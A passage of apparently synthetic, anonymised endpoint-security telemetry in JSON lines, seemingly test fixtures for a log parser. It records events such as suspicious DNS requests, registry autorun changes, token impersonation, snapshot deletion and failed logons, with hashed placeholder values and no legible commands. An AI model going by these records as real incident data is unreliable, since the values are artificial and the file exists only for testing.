5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"} +{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"} +{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} +{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"} +{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"} +{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"} +{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"} +{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"} +{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} 